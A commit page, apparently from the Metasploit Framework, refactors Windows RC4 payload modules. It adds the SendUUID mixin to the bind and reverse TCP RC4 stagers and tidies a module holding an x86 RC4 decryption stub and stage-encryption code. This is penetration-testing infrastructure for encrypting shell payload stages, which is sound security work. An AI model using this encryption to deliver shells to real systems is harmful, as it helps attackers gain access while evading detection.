Skip to content

Commit c654010

Browse files
author
Brent Cook
committed
wip fixup rc4
1 parent 05680ab commit c654010

File tree

3 files changed

+14
-26
lines changed

3 files changed

+14
-26
lines changed

lib/msf/core/payload/windows/bind_tcp_rc4.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
require 'msf/core/payload/transport_config'
55
require 'msf/core/payload/windows/bind_tcp'
66
require 'msf/core/payload/windows/rc4'
7+
require 'msf/core/payload/windows/send_uuid'
78

89
module Msf
910

@@ -18,6 +19,7 @@ module Payload::Windows::BindTcpRc4
1819
include Msf::Payload::TransportConfig
1920
include Msf::Payload::Windows::BindTcp
2021
include Msf::Payload::Windows::Rc4
22+
include Msf::Payload::Windows::SendUUID
2123

2224
#
2325
# Generate the first stage

lib/msf/core/payload/windows/rc4.rb

Lines changed: 10 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,7 @@ module Msf
99
# RC4 decryption stub for Windows ARCH_X86 payloads
1010
#
1111
###
12-
1312
module Payload::Windows::Rc4
14-
1513
#
1614
# Register rc4 specific options
1715
#
@@ -25,7 +23,7 @@ def initialize(*args)
2523
#
2624

2725
def asm_decrypt_rc4
28-
asm = %Q!
26+
%!
2927
;-----------------------------------------------------------------------------;
3028
; Author: Michael Schierl (schierlm[at]gmx[dot]de)
3129
; Version: 1.0 (29 December 2012)
@@ -49,8 +47,8 @@ def asm_decrypt_rc4
4947
xor ebx, ebx ; Clear EBX (EAX is already cleared)
5048
permute:
5149
add bl, [edi+eax] ; BL += S[AL] + KEY[AL % 16]
52-
mov edx, eax
53-
and dl, 0xF
50+
mov edx, eax
51+
and dl, 0xF
5452
add bl, [esi+edx]
5553
mov dl, [edi+eax] ; swap S[AL] and S[BL]
5654
xchg dl, [edi+ebx]
@@ -72,43 +70,29 @@ def asm_decrypt_rc4
7270
dec ecx ; reduce counter
7371
jnz decrypt ; until finished
7472
!
75-
asm
76-
end
77-
78-
def uuid_required_size
79-
# Start with the number of bytes required for the instructions
80-
space = 17
81-
82-
# a UUID is 16 bytes
83-
space += 16
84-
85-
space
8673
end
8774

88-
def generate_stage(opts={})
75+
def generate_stage(opts = {})
8976
p = super(opts)
90-
xorkey,rc4key = rc4_keys(datastore['RC4PASSWORD'])
77+
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
9178
c1 = OpenSSL::Cipher::Cipher.new('RC4')
9279
c1.decrypt
9380
c1.key = rc4key
9481
p = c1.update(p)
95-
return [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
82+
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
9683
end
9784

98-
def handle_intermediate_stage(conn, payload)
99-
return false
85+
def handle_intermediate_stage(_conn, _payload)
86+
false
10087
end
10188

102-
private
89+
private
10390

10491
def rc4_keys(rc4pass = '')
10592
m = OpenSSL::Digest.new('sha1')
10693
m.reset
10794
key = m.digest(rc4pass)
108-
[key[0,4], key[4,16]]
95+
[key[0, 4], key[4, 16]]
10996
end
110-
11197
end
112-
11398
end
114-

lib/msf/core/payload/windows/reverse_tcp_rc4.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
require 'msf/core/payload/transport_config'
55
require 'msf/core/payload/windows/reverse_tcp'
66
require 'msf/core/payload/windows/rc4'
7+
require 'msf/core/payload/windows/send_uuid'
78

89
module Msf
910

@@ -18,6 +19,7 @@ module Payload::Windows::ReverseTcpRc4
1819
include Msf::Payload::TransportConfig
1920
include Msf::Payload::Windows::ReverseTcp
2021
include Msf::Payload::Windows::Rc4
22+
include Msf::Payload::Windows::SendUUID
2123

2224
#
2325
# Generate the first stage

0 commit comments

Comments
 (0)